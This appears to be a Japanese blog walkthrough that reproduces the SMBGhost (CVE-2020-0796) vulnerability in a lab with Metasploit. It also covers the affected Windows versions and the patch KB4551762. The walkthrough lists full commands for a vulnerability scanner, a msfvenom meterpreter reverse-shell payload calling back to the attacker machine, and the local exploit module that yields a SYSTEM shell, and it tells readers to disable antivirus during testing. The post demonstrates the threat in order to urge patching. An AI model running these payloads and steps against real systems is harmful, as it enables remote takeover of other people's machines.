今回は、2020/3月に報告された、認証されていないリモート攻撃者が任意のコードを実行する可能性があるSMBGhost(CVE-2020-0796)の脆弱性について、Metasploitを用いて実機検証します。
なお、本稿は脆弱性の脅威を示すもので、不正利用を推奨するものではありません。
本人の管理下にないマシンに対して実施するなどの行為は、避けるようにお願いします。
また、別のexploit記事は下記に掲載しています。
SMBGhost(CVE-2020-0796)概要
内容
2019年にリリースされたSMBv3圧縮をサポートする特定の処理プロセスに起因し、比較的新しいOSが対象となります。脆弱性を利用されると、ターゲットマシン上でリモートコードを実行されてしまう恐れがあります。
深刻度は「緊急」、CVSSはv2、v3とも10.0、9.8と最高値を示しており、WannaCry級の危険性とみなされています。
対象OS
本脆弱性の対象OSは以下の通りです。
- Windows 10 Version 1903
- Windows 10 Version 1909
- Windows Server, version 1903 (Server Core installation)
- Windows Server, version 1909 (Server Core installation)
上記以前のバージョンは、SMBv3.1.1をサポートしていないため、影響を受けないとのことです。
対策
パッチKB4551762が公開されています。深刻な脆弱性なので、即座にパッチを適用されることを推奨します。
※対処方法については、最新の情報に従うようにお願いいたします。
検証
実際に攻撃を試みて、脅威を確認します。
準備
下記2台のマシンを用意します。
- Attackerマシン
- OS:Kali Linux
- IPアドレス:172.17.113.219
- Victimマシン
- OS:Windows 10 Professional x64 (1909)
- IPアドレス:172.17.118.63
調査
下記Scannerモジュールを使って、攻撃対象マシンにSMBGhostの脆弱性が存在するかを確認します。
$ git clone https://github.com/ollypwn/SMBGhost.git
$ cd SMBGhost/
$ python3 scanner.py 172.17.118.63
172.17.118.63 Vulnerable
脆弱性が存在することが確認できました。
ペイロードモジュール作成
SMBGhostのexploitにはセッションが必要なので、セッションを張るペイロードモジュールをKali Linux上で作成します。
$ sudo msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.17.113.219 LPORT=4444 -f exe -o win10_x64_payload.exe
...
Saved as: win10_x64_payload.exe
これをWindowsマシンにコピーします。シナリオ(手順)としては、この怪しいモジュールをWindowsで不用意に実行してしまったが為に、マシンを乗っ取られるという流れです。
コピーや実行の際には、ウイルスと認識されないようにアンチウィルスソフトを検証時には一時的にOFFにしておいてください。
エクスプロイト
では、以下の手順で攻撃します。
まず、Kali Linux側で以下のコマンドを実行し、ペイロードモジュールからの通信を待機します。
# msfconsole
> use exploit/multi/handler
> set PAYLOAD windows/x64/meterpreter/reverse_tcp
> set LHOST 172.17.113.219
> set LPORT 4444
> exploit
次に、Windows側で先ほどのモジュールwin10_x64_payload.exeを実行します。
すると、Kali Linux側に反応がありセッションが確立するので、続けて以下のコマンドを実行します。
実行ユーザーがログオンユーザーであるuserxであることが分かります。
> shell
C:\share> whoami
desktop-1gsmoa6\userx
> exit
次に、SMBGhostの脆弱性を突くエクスプロイトを実行します。
> background
> use windows/local/cve_2020_0796_smbghost
> set SESSION 1
> show options
Module options (exploit/windows/local/cve_2020_0796_smbghost):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 1 yes The session to run this module on.
Exploit target:
Id Name
-- ----
0 Windows 10 v1903-1909 x64
> exploit
...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Command shell session 2 opened (172.17.113.219:4444 -> 172.17.118.63:49733)
C:\Windows\system32>whoami
nt authority\system
成功すると、コマンドプロンプトが起動し、SYSTEM権限でログインしていることが分かります。
まとめ
2020/3月に報告されたSMBGhostの脆弱性ですが、welivesecurityのレポートによれば未だ数多くのマシンがこの脆弱性を晒したまま放置されているとのことです。危険度も高いと認定されていますし、いざという時に備えて早め早めの対応をしていきましょう。
以上、SMBGhost (CVE-2020-0796)の脅威についてでした。
コメント